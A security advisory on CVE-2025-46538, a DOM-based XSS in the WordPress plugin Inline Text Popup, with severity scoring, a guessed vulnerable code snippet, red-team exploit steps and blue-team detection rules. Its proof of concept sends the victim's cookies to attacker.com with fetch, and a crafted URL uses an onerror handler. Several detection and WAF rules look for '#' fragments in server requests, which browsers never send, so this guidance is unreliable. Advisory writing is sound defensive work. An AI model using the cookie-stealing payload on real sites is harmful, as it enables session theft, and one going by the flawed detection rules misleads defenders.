CVE-2025-46538

Executive Summary

CVE-2025-46538 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Inline Text Popup by webplanetsoft, affecting versions up to and including 1.0.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. The CVSS score is 6.5 (Medium), and no official patch or exploit code has been publicly released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or modifying the plugin to include backdoors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for DOM-based attacks in a WordPress context elevate the risk for targeted campaigns.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the payload is executed entirely on the client side without the server reflecting the malicious input. The plugin likely processes user-controlled data (e.g., via URL fragments or document.referrer) and injects it into the DOM without proper sanitization. For example, the plugin may read a parameter from the URL hash and write it directly to innerHTML or document.write.

Attack Vector:

1. An attacker crafts a malicious URL containing a JavaScript payload in a fragment (e.g., #<script>alert(1)</script>).
2. The victim visits the URL while the Inline Text Popup plugin is active.
3. The plugin's JavaScript reads the fragment and injects it into the page DOM.
4. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the user.

Root Cause: Lack of input validation and output encoding for DOM manipulation functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM-XSS patterns.

Vulnerable Code (JavaScript):

var userInput = window.location.hash.substring(1);
document.getElementById('popup-content').innerHTML = userInput;

Patched Code (Hypothetical):

var userInput = window.location.hash.substring(1);
var safeText = document.createTextNode(userInput);
document.getElementById('popup-content').appendChild(safeText);

The patched version uses createTextNode to safely encode the input, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Inline Text Popup <= 1.0.0 active.
• Victim user with a modern browser.

Exploit Steps:

1. Identify a page where the plugin is active (e.g., any post or page).
2. Craft a malicious URL:

   http://target-site.com/any-page/#<img src=x onerror=alert(document.cookie)>
   

3. Send the URL to the victim via phishing email or social engineering.
4. When the victim clicks the link, the payload executes, exfiltrating cookies or performing other actions.

Proof-of-Concept (PoC) Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing # followed by script tags or event handlers.
• Use browser-based CSP headers to block inline scripts.

Mitigation:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious fragments.
• Educate users not to click on untrusted links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • URLs with fragments containing <script>, onerror, onload, or similar event handlers.
• Host IOCs:
  • Presence of the plugin file inline-text-popup.php in /wp-content/plugins/inline-text-popup/.
  • Modified JavaScript files in the plugin directory (if attacker has uploaded a backdoor).
• Browser IOCs:
  • Unexpected popups or redirects.
  • Console errors related to DOM manipulation.

Detection Engineering

YARA Rule

rule CVE_2025_46538_DOM_XSS {
    meta:
        description = "Detects potential DOM-XSS payloads targeting Inline Text Popup plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46538"
    strings:
        $payload1 = /#<script[^>]*>.*<\/script>/i
        $payload2 = /#<img[^>]*onerror\s*=/i
        $payload3 = /#<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-46538 DOM-Based XSS in Inline Text Popup
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with malicious fragments targeting the Inline Text Popup plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#onerror'
            - '#onload'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments in web applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46538 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-46538 DOM-Based XSS Attempt via img"; content:"#<img"; nocase; http_uri; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-46538 DOM-Based XSS Attempt via svg"; content:"#<svg"; nocase; http_uri; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Remove or deactivate Inline Text Popup until a patch is released.
2. Implement CSP – Add a Content Security Policy header that blocks inline scripts:

   Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
   

3. WAF Rules – Deploy rules to block requests containing #<script or similar patterns.

Long-Term Fix:

• The vendor must release a patched version that sanitizes user input using textContent or createTextNode instead of innerHTML.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• If the plugin is critical, modify the plugin's JavaScript file to replace innerHTML with textContent (requires code access).

Valters IT